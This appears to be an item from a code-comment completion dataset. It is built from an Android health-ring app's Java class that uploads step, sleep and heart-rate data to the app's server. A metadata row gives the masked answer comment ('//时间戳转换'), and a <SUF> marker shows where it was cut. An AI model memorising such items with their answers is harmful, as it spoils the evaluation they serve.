JSONObject stepJons = new JSONObject();
try {
stepJons.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId")); //用户ID
stepJons.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC)); //mac地址
stepJons.put("stepNumber", step); //步数
stepJons.put("distance", distance); //路程
stepJons.put("calories", calories); //卡里路
stepJons.put("timeLen", "0"); //时长
stepJons.put("date", nextDay); //data_time
stepJons.put("status", state); //是否达标
} catch (JSONException e) {
e.printStackTrace();
}
CommonSubscriber commonSubscriber = new CommonSubscriber(new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
Log.e("H9", "---前几天步数数据返回--" + result);
}
}, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSportData, stepJons.toString());
}
/**
* 整理number天睡眠数据(准备上传)
*
* @param numberDay
*/
public static void sleepDataCrrur(int numberDay, int numberDayEnd, LinkedList<SleepData> sleepDatas) {
int AWAKEDATAS = 0;
int DEEPDATAS = 0;
int SHALLOWDATAS = 0;
int AllSleep = 0;
boolean isSleeped = false;
boolean isIntoSleeped = false;
if (sleepDatas != null) {
//当天日期
String soberLenTime = "08:00";
// String nextDay = B18iUtils.getNextNumberDay(numberDay);//前一天时间
// String nextEndDay = B18iUtils.getNextNumberDay(numberDayEnd);//今天时间
setSleepDatas(sleepDatas, AllSleep, numberDay, numberDayEnd, isSleeped, isIntoSleeped, SHALLOWDATAS, DEEPDATAS, AWAKEDATAS, soberLenTime);
}
}
/**
* 上传前number天睡眠数据
*
* @param AllSleep
* @param isSleeped
* @param isIntoSleeped
* @param SHALLOWDATAS
* @param DEEPDATAS
* @param AWAKEDATAS
* @param soberLenTime
*/
public static void setSleepDatas(LinkedList<SleepData> sleepDatas, int AllSleep, int numberDay, int numberDayEnd, boolean isSleeped,
boolean isIntoSleeped, int SHALLOWDATAS, int DEEPDATAS, int AWAKEDATAS, String soberLenTime) {
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), numberDay);
String nextDay = H9TimeUtil.getValidDateStr(dateBefore);
Date dateBefore2 = H9TimeUtil.getDateBefore(new Date(), numberDayEnd);
String nextEndDay = H9TimeUtil.getValidDateStr(dateBefore2);
int size = sleepDatas.size();
for (int i = 0; i < size; i++) {
String strTimes = B18iUtils.getStrTimes(String.valueOf(sleepDatas.get(i).sleep_time_stamp));//时间戳转换
String timeDay = B18iUtils.interceptString(strTimes, 0, 10);//2017/10/20
String timeH = B18iUtils.interceptString(strTimes, 11, 13);//8
if (nextEndDay.equals(timeDay) || nextDay.equals(timeDay)) {
if (Integer.valueOf(timeH) >= 20 || Integer.valueOf(timeH) <= 8) {
String timeDifference = "0";
if (0 < i) {
timeDifference = H9TimeUtil.getTimeDifference
(DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i - 1).sleep_time_stamp * 1000))
, DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
} else {
timeDifference = "0";
}
int SLEEPWAKE = 0;//苏醒次数
int sleep_type = sleepDatas.get(i).sleep_type;
// 0:睡着// 1:浅睡// 2:醒着// 3:准备入睡// 4:退出睡眠// 16:进入睡眠模式//
// 17:退出睡眠模式(本次睡眠非预设睡眠)
// 18:退出睡眠模式(本次睡眠为预设睡眠)
if (sleep_type == 0) {//--------》睡着
Log.e(TAG, "睡着时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
AllSleep += Integer.valueOf(timeDifference);
DEEPDATAS += Integer.valueOf(timeDifference);//睡着的分钟数
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 1) {//--------》浅睡
Log.e(TAG, "浅睡时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
AllSleep += Integer.valueOf(timeDifference);
SHALLOWDATAS += Integer.valueOf(timeDifference);//浅睡的分钟数
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 2) {//--------》醒着
Log.e(TAG, "醒着时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 3) {//--------》准备入睡着
Log.e(TAG, "准备入睡时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
if (!isIntoSleeped) {
isIntoSleeped = true;
isSleeped = true;
}
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 4) {//--------》退出睡眠
Log.e(TAG, "退出睡眠:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 16) {//--------》进入睡眠模式
Log.e(TAG, "进入睡眠模式:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
if (!isSleeped) {
isSleeped = true;
isIntoSleeped = true;
}
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 17) {//--------》退出睡眠模式(本次睡眠非预设睡眠)
Log.e(TAG, "退出睡眠模式==0=:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 18) {//--------》退出睡眠模式(本次睡眠为预设睡眠)
Log.e(TAG, "退出睡眠模式==1=:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
}
Log.d(TAG, DEEPDATAS + "----------222--------" + SHALLOWDATAS + "==============" + AllSleep + "===" + SLEEPWAKE);
//---------入睡时间-----苏醒次数--------苏醒时间
// TextView textSleepInto, textSleepWake, textSleepTime;
}
}
}
Log.d(TAG, DEEPDATAS + "----------121112--------" + SHALLOWDATAS + "==============" + AllSleep);
AWAKEDATAS = AllSleep - (DEEPDATAS + SHALLOWDATAS);//清醒
Log.d(TAG, "睡眠----清醒" + AWAKEDATAS);
if (DEEPDATAS > 0 || SHALLOWDATAS > 0) {
String upSleepTime = (String) SharedPreferencesUtils.getParam(MyApp.getContext(), "upSleepTimes", "");
if (!TextUtils.isEmpty(upSleepTime)) {
String timeDifference = H9TimeUtil.getTimeDifference(upSleepTime, B18iUtils.getSystemDataStart());
if (!TextUtils.isEmpty(timeDifference)) {
int number = Integer.valueOf(timeDifference.trim());
int number2 = Integer.parseInt(timeDifference.trim());
// Log.e(TAG, "睡眠上传---------" + number + "--" + number2 + "==" + timeDifference.compareTo("5"));
if (number >= 1000 || number2 >= 1000) {
Log.d(TAG, "----清醒时间" + soberLenTime);
// Log.e(TAG, "睡眠上传-----in----" + number + "===前几天时间" + H9TimeUtil.getDateBefore(new Date(), 7) + "前一天时间" + B18iUtils.getNextDay());
upDataSleep(String.valueOf(DEEPDATAS), String.valueOf(SHALLOWDATAS), H9TimeUtil.getValidDateStr2(dateBefore), H9TimeUtil.getValidDateStr2(dateBefore2));//上传睡眠数据
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSleepTimes", B18iUtils.getSystemDataStart());
}
}
} else {
upDataSleep(String.valueOf(DEEPDATAS), String.valueOf(SHALLOWDATAS), H9TimeUtil.getValidDateStr2(dateBefore), H9TimeUtil.getValidDateStr2(dateBefore2));//上传睡眠数据
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSleepTimes", B18iUtils.getSystemDataStart());
}
}
}
/**
* 上传睡眠数据
*
* @param deepSleep
* @param shallowSleep
*/
private static void upDataSleep(String deepSleep, String shallowSleep, String nextDay, String nextEndDay) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠上传--2------" + shallowSleep + "==" + deepSleep + "==" + nextDay + "==" + nextEndDay);
// Log.d("-------------TEMT---time", "睡眠上传----2----" + nextDay + "===" + nextEndDay);
try {
JSONObject map = new JSONObject();
String userId = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId");
String mylanmac = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC);
Log.d(TAG, "==设备名称与MAC==" + userId + "==" + mylanmac);
map.put("userId", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
Log.d(TAG, nextDay + "===" + nextEndDay);
map.put("startTime", nextDay);//
map.put("endTime", nextEndDay);
map.put("count", "10");
map.put("deepLen", deepSleep);
map.put("shallowLen", shallowSleep);
map.put("deviceCode", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
map.put("sleepQuality", "6");
map.put("sleepLen", "4");
map.put("sleepCurveP", "5");
map.put("sleepCurveS", "8");
// dialogSubscriber = new DialogSubscriber(subscriberOnNextListener, context);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSleep, map.toString());
} catch (Exception E) {
E.printStackTrace();
}
}
/**
* 心率数据上传
*/
public static void upDataHearte(String heartData, String stringTimer) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传--------" + heartData + "==" + stringTimer);
try {
JSONObject map = new JSONObject();
map.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
if (MyCommandManager.DEVICENAME.equals("W30")) {
map.put("deviceCode", SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "")); //mac地址
} else {
map.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
}
map.put("systolic", "00");
map.put("stepNumber", "00");
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传---eeeee-----" + heartData + "==" + stringTimer);
map.put("date", stringTimer);
map.put("heartRate", heartData);
map.put("status", "0");
JSONObject mapB = new JSONObject();
JSONArray jsonArray = new JSONArray();
Object jsonArrayb = jsonArray.put(map);
mapB.put("data", jsonArrayb);
String mapjson = mapB.toString();
//Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率上传---ddddd-----" + heartData + "==" + stringTimer);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--心率数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upHeart, mapjson);
} catch (Exception E) {
E.printStackTrace();
}
}
/**
* @param goal 目标步数
* @param step 手表步数
* @param calories 手表卡路里
* @param distance //手表公里
*/
public static void updateLoadSportToServer(float goal, float step, double calories, double distance, String dataTimes) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa---步数上传--------" + SharedPreferencesUtils.readObject(MyApp.getContext(), "userId") + "==" + SharedPreferencesUtils.readObject(MyApp.getContext(), "mylanmac") + "==" + goal + "==" + step + "==" + calories + "==" + distance);
int state = 1; //步数是否达标
if (goal <= step) { //达标
state = 0;
} else {
state = 1;
}
JSONObject stepJons = new JSONObject();
try {
stepJons.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId")); //用户ID
if (MyCommandManager.DEVICENAME.equals("W30")) {
stepJons.put("deviceCode", SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "")); //mac地址
} else {
stepJons.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC)); //mac地址
}
stepJons.put("stepNumber", step); //步数
stepJons.put("distance", distance); //路程
stepJons.put("calories", calories); //卡里路
stepJons.put("timeLen", "0"); //时长
if (!WatchUtils.isEmpty(dataTimes)) {
stepJons.put("date", dataTimes); //data_time
} else {
stepJons.put("date", WatchUtils.getCurrentDate()); //data_time
}
stepJons.put("status", state); //是否达标
} catch (JSONException e) {
e.printStackTrace();
}
//Log.e(TAG, "-----steJson-----" + stepJons.toString() + "--" + System.currentTimeMillis() / 1000 + "---" + new Date().getTime() / 1000);
CommonSubscriber commonSubscriber = new CommonSubscriber(new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
// Log.e("H9", "---上次步数数据返回--" + result);
}
}, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSportData, stepJons.toString());
}
/**
* 上传睡眠数据
*
* @param deepSleep
* @param shallowSleep
*/
public static void upDataSleep(String deepSleep, String shallowSleep, String dataTime) {
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), 0);
String nextDay = H9TimeUtil.getValidDateStr2(dateBefore);
Date dateBefore2 = H9TimeUtil.getDateBefore(new Date(), 1);
String nextDay2 = H9TimeUtil.getValidDateStr2(dateBefore2);
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠上传--------" + shallowSleep + "==" + deepSleep + "==" + nextDay2 + "==" + nextDay);
try {
JSONObject map = new JSONObject();
String userId = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId");
String mylanmac = "";
if (MyCommandManager.DEVICENAME.equals("W30")) {
mylanmac = (String) SharedPreferenceUtil.get(MyApp.getContext(), Commont.BLEMAC, "");//mac地址
Log.d(TAG, "=000000=设备名称与MAC==" + userId + "==" + mylanmac);
} else {
mylanmac = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC); //mac地址
Log.d(TAG, "=1111111=设备名称与MAC==" + userId + "==" + mylanmac);
}
Log.d(TAG, "==设备名称与MAC==" + userId + "==" + mylanmac);
Log.e(TAG, "--睡眠数据上传数据查看--睡眠上传--------" + shallowSleep + "==" + deepSleep + "==" + nextDay2 + "==" + nextDay + "===" + userId + "==" + mylanmac);
map.put("userId", (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
//Log.d("-------------TEMT---time", "睡眠上传--------" + nextDay2 + "===" + nextDay);
map.put("startTime", nextDay2 + " 00:00");//
map.put("endTime", nextDay + " 00:00");
// Log.d("====upDataSleep==1===", W30BasicUtils.getDateStr(dataTime, 1) + "======" + nextDay2);
// Log.d("====upDataSleep==2===", dataTime + "=======" + nextDay);
// map.put("startTime", nextDay2 + " 00:00");//
// map.put("endTime", nextDay + " 00:00");
map.put("count", "10");
map.put("deepLen", deepSleep);
map.put("shallowLen", shallowSleep);
map.put("deviceCode", mylanmac);
map.put("sleepQuality", "6");
map.put("sleepLen", "4");
map.put("sleepCurveP", "5");
map.put("sleepCurveS", "8");
// dialogSubscriber = new DialogSubscriber(subscriberOnNextListener, context);
SubscriberOnNextListener sb = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String s) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠数据上传--------" + s);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(sb, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSleep, map.toString());
} catch (Exception E) {
E.printStackTrace();
}
}
}
| 18271261642/RingmiiHX | old/src/main/java/com/guider/healthring/h9/h9monitor/UpDatasBase.java | 6,836 | //时间戳转换 | line_comment | zh-cn | package com.guider.healthring.h9.h9monitor;
import android.text.TextUtils;
import android.util.Log;
import com.guider.healthring.B18I.b18iutils.B18iUtils;
import com.guider.healthring.Commont;
import com.guider.healthring.MyApp;
import com.guider.healthring.bleutil.MyCommandManager;
import com.guider.healthring.h9.utils.H9TimeUtil;
import com.guider.healthring.net.OkHttpObservable;
import com.guider.healthring.rxandroid.CommonSubscriber;
import com.guider.healthring.rxandroid.SubscriberOnNextListener;
import com.guider.healthring.siswatch.utils.WatchUtils;
import com.guider.healthring.util.SharedPreferencesUtils;
import com.guider.healthring.util.URLs;
import com.sdk.bluetooth.bean.SleepData;
import com.sdk.bluetooth.bean.SportsData;
import com.sdk.bluetooth.utils.DateUtil;
import com.suchengkeji.android.w30sblelibrary.utils.SharedPreferenceUtil;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.LinkedList;
/**
* @aboutContent:
* @author: 安
* @crateTime: 2017/12/11 15:55
* @mailBox: an.****.life@gmail.com
* @company: 东莞速成科技有限公司
*/
public class UpDatasBase {
public static final String TAG = "UpDatasBase";
/**************获取睡眠---测试****************/
//获取睡眠
private void getSleepDATAS(final int week) {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd");
String sleepUrl = URLs.HTTPs + "/sleep/getSleepByTime";
JSONObject sleepJson = new JSONObject();
try {
sleepJson.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId"));
sleepJson.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC));
sleepJson.put("startDate", sdf.format(WatchUtils.getDateBefore(sdf.parse(WatchUtils.getCurrentDate()), week)));
sleepJson.put("endDate", WatchUtils.getCurrentDate());
} catch (JSONException e) {
e.printStackTrace();
} catch (ParseException e) {
e.printStackTrace();
}
SubscriberOnNextListener subscriberOnNextListener = new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
Log.e(TAG, "----获取睡眠返回----" + result);
}
};
CommonSubscriber commonSubscriber = new CommonSubscriber(subscriberOnNextListener, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, sleepUrl, sleepJson.toString());
}
/********************************************/
/**
* 前几天运动分配 (准备上传)
*
* @param sportsDatas
* @param numberDay
*/
public static void upSportDatasCrrur(LinkedList<SportsData> sportsDatas, int numberDay, float GOAL) {
int step = 0;
int calorie = 0;
// String nextDay = B18iUtils.getNextNumberDay(numberDay);//前numberDay天时间
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), numberDay);
String nextDay = H9TimeUtil.getValidDateStr(dateBefore);
for (SportsData sportsData : sportsDatas) {
String strTimes = B18iUtils.getStrTimes(String.valueOf(sportsData.getSport_time_stamp()));//时间戳转换
String substring = strTimes.substring(0, 10);
Log.d("-------------TEMT---time", substring + "===" + nextDay);
if (nextDay.equals(substring)) {
step += sportsData.sport_steps;
calorie += sportsData.sport_cal;
}
Log.d("-------------", "Step:" + step + "step" + "Calorie:" + calorie + "cal");
}
Log.d("-------------==", "Step:" + step + "step" + "Calorie:" + calorie + "cal");
int dis = 0;
String sex = "M";
String hight = "175";
if ("M".equals(sex)) {
dis = (int) (Integer.valueOf(hight) * 0.415 * step);
} else {
dis = (int) (Integer.valueOf(hight) * 0.413 * step);
}
String upSportTimes = (String) SharedPreferencesUtils.getParam(MyApp.getContext(), "upSportTimes", "");
if (!TextUtils.isEmpty(upSportTimes)) {
String timeDifference = H9TimeUtil.getTimeDifference(upSportTimes, B18iUtils.getSystemDataStart());
if (!TextUtils.isEmpty(timeDifference)) {
int number = Integer.valueOf(timeDifference.trim());
int number2 = Integer.parseInt(timeDifference.trim());
if (number >= 1000 || number2 >= 1000) {
updateLoadSportToServer2(GOAL, step, calorie, dis, H9TimeUtil.getValidDateStr2(dateBefore));
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSportTimes", B18iUtils.getSystemDataStart());
}
}
} else {
updateLoadSportToServer2(GOAL, step, calorie, dis, H9TimeUtil.getValidDateStr2(dateBefore));
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSportTimes", B18iUtils.getSystemDataStart());
}
}
/**
* 前几天运动上传
*
* @param goal
* @param step
* @param calories
* @param distance
* @param nextDay
*/
public static void updateLoadSportToServer2(float goal, float step, double calories, double distance, String nextDay) {
Log.d("-------------TEMT---time", "运动上传----2----" + nextDay);
Log.e(TAG, "--aaaaaaaaaaaaaaaa--运动上传-2-------" + goal + "==" + step + "==" + calories + "==" + distance + "==" + nextDay);
int state = 1; //步数是否达标
if (goal <= step) { //达标
state = 0;
} else {
state = 1;
}
JSONObject stepJons = new JSONObject();
try {
stepJons.put("userId", SharedPreferencesUtils.readObject(MyApp.getContext(), "userId")); //用户ID
stepJons.put("deviceCode", SharedPreferencesUtils.readObject(MyApp.getContext(), Commont.BLEMAC)); //mac地址
stepJons.put("stepNumber", step); //步数
stepJons.put("distance", distance); //路程
stepJons.put("calories", calories); //卡里路
stepJons.put("timeLen", "0"); //时长
stepJons.put("date", nextDay); //data_time
stepJons.put("status", state); //是否达标
} catch (JSONException e) {
e.printStackTrace();
}
CommonSubscriber commonSubscriber = new CommonSubscriber(new SubscriberOnNextListener<String>() {
@Override
public void onNext(String result) {
Log.e("H9", "---前几天步数数据返回--" + result);
}
}, MyApp.getContext());
OkHttpObservable.getInstance().getData(commonSubscriber, URLs.HTTPs + URLs.upSportData, stepJons.toString());
}
/**
* 整理number天睡眠数据(准备上传)
*
* @param numberDay
*/
public static void sleepDataCrrur(int numberDay, int numberDayEnd, LinkedList<SleepData> sleepDatas) {
int AWAKEDATAS = 0;
int DEEPDATAS = 0;
int SHALLOWDATAS = 0;
int AllSleep = 0;
boolean isSleeped = false;
boolean isIntoSleeped = false;
if (sleepDatas != null) {
//当天日期
String soberLenTime = "08:00";
// String nextDay = B18iUtils.getNextNumberDay(numberDay);//前一天时间
// String nextEndDay = B18iUtils.getNextNumberDay(numberDayEnd);//今天时间
setSleepDatas(sleepDatas, AllSleep, numberDay, numberDayEnd, isSleeped, isIntoSleeped, SHALLOWDATAS, DEEPDATAS, AWAKEDATAS, soberLenTime);
}
}
/**
* 上传前number天睡眠数据
*
* @param AllSleep
* @param isSleeped
* @param isIntoSleeped
* @param SHALLOWDATAS
* @param DEEPDATAS
* @param AWAKEDATAS
* @param soberLenTime
*/
public static void setSleepDatas(LinkedList<SleepData> sleepDatas, int AllSleep, int numberDay, int numberDayEnd, boolean isSleeped,
boolean isIntoSleeped, int SHALLOWDATAS, int DEEPDATAS, int AWAKEDATAS, String soberLenTime) {
Date dateBefore = H9TimeUtil.getDateBefore(new Date(), numberDay);
String nextDay = H9TimeUtil.getValidDateStr(dateBefore);
Date dateBefore2 = H9TimeUtil.getDateBefore(new Date(), numberDayEnd);
String nextEndDay = H9TimeUtil.getValidDateStr(dateBefore2);
int size = sleepDatas.size();
for (int i = 0; i < size; i++) {
String strTimes = B18iUtils.getStrTimes(String.valueOf(sleepDatas.get(i).sleep_time_stamp));//时间 <SUF>
String timeDay = B18iUtils.interceptString(strTimes, 0, 10);//2017/10/20
String timeH = B18iUtils.interceptString(strTimes, 11, 13);//8
if (nextEndDay.equals(timeDay) || nextDay.equals(timeDay)) {
if (Integer.valueOf(timeH) >= 20 || Integer.valueOf(timeH) <= 8) {
String timeDifference = "0";
if (0 < i) {
timeDifference = H9TimeUtil.getTimeDifference
(DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i - 1).sleep_time_stamp * 1000))
, DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
} else {
timeDifference = "0";
}
int SLEEPWAKE = 0;//苏醒次数
int sleep_type = sleepDatas.get(i).sleep_type;
// 0:睡着// 1:浅睡// 2:醒着// 3:准备入睡// 4:退出睡眠// 16:进入睡眠模式//
// 17:退出睡眠模式(本次睡眠非预设睡眠)
// 18:退出睡眠模式(本次睡眠为预设睡眠)
if (sleep_type == 0) {//--------》睡着
Log.e(TAG, "睡着时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
AllSleep += Integer.valueOf(timeDifference);
DEEPDATAS += Integer.valueOf(timeDifference);//睡着的分钟数
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 1) {//--------》浅睡
Log.e(TAG, "浅睡时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
AllSleep += Integer.valueOf(timeDifference);
SHALLOWDATAS += Integer.valueOf(timeDifference);//浅睡的分钟数
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 2) {//--------》醒着
Log.e(TAG, "醒着时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 3) {//--------》准备入睡着
Log.e(TAG, "准备入睡时间:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
if (!isIntoSleeped) {
isIntoSleeped = true;
isSleeped = true;
}
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 4) {//--------》退出睡眠
Log.e(TAG, "退出睡眠:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 16) {//--------》进入睡眠模式
Log.e(TAG, "进入睡眠模式:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
if (!isSleeped) {
isSleeped = true;
isIntoSleeped = true;
}
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 17) {//--------》退出睡眠模式(本次睡眠非预设睡眠)
Log.e(TAG, "退出睡眠模式==0=:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
} else if (sleep_type == 18) {//--------》退出睡眠模式(本次睡眠为预设睡眠)
Log.e(TAG, "退出睡眠模式==1=:" + Integer.valueOf(timeDifference) + "===" + DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)));
SLEEPWAKE++;
soberLenTime = DateUtil.dateToSec(DateUtil.timeStampToDate(sleepDatas.get(i).sleep_time_stamp * 1000)).substring(11, 16);
Log.d(TAG, "===========" + SLEEPWAKE);
}
Log.d(TAG, DEEPDATAS + "----------222--------" + SHALLOWDATAS + "==============" + AllSleep + "===" + SLEEPWAKE);
//---------入睡时间-----苏醒次数--------苏醒时间
// TextView textSleepInto, textSleepWake, textSleepTime;
}
}
}
Log.d(TAG, DEEPDATAS + "----------121112--------" + SHALLOWDATAS + "==============" + AllSleep);
AWAKEDATAS = AllSleep - (DEEPDATAS + SHALLOWDATAS);//清醒
Log.d(TAG, "睡眠----清醒" + AWAKEDATAS);
if (DEEPDATAS > 0 || SHALLOWDATAS > 0) {
String upSleepTime = (String) SharedPreferencesUtils.getParam(MyApp.getContext(), "upSleepTimes", "");
if (!TextUtils.isEmpty(upSleepTime)) {
String timeDifference = H9TimeUtil.getTimeDifference(upSleepTime, B18iUtils.getSystemDataStart());
if (!TextUtils.isEmpty(timeDifference)) {
int number = Integer.valueOf(timeDifference.trim());
int number2 = Integer.parseInt(timeDifference.trim());
// Log.e(TAG, "睡眠上传---------" + number + "--" + number2 + "==" + timeDifference.compareTo("5"));
if (number >= 1000 || number2 >= 1000) {
Log.d(TAG, "----清醒时间" + soberLenTime);
// Log.e(TAG, "睡眠上传-----in----" + number + "===前几天时间" + H9TimeUtil.getDateBefore(new Date(), 7) + "前一天时间" + B18iUtils.getNextDay());
upDataSleep(String.valueOf(DEEPDATAS), String.valueOf(SHALLOWDATAS), H9TimeUtil.getValidDateStr2(dateBefore), H9TimeUtil.getValidDateStr2(dateBefore2));//上传睡眠数据
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSleepTimes", B18iUtils.getSystemDataStart());
}
}
} else {
upDataSleep(String.valueOf(DEEPDATAS), String.valueOf(SHALLOWDATAS), H9TimeUtil.getValidDateStr2(dateBefore), H9TimeUtil.getValidDateStr2(dateBefore2));//上传睡眠数据
SharedPreferencesUtils.setParam(MyApp.getContext(), "upSleepTimes", B18iUtils.getSystemDataStart());
}
}
}
/**
* 上传睡眠数据
*
* @param deepSleep
* @param shallowSleep
*/
private static void upDataSleep(String deepSleep, String shallowSleep, String nextDay, String nextEndDay) {
// Log.e(TAG, "--aaaaaaaaaaaaaaaa--睡眠上传--2------" + shallowSleep + "==" + deepSleep + "==" + nextDay + "==" + nextEndDay);
// Log.d("-------------TEMT---time", "睡眠上传----2----" + nextDay + "===" + nextEndDay);
try {
JSONObject map = new JSONObject();
String userId = (String) SharedPreferencesUtils.readObject(MyApp.getContext(), "userId");
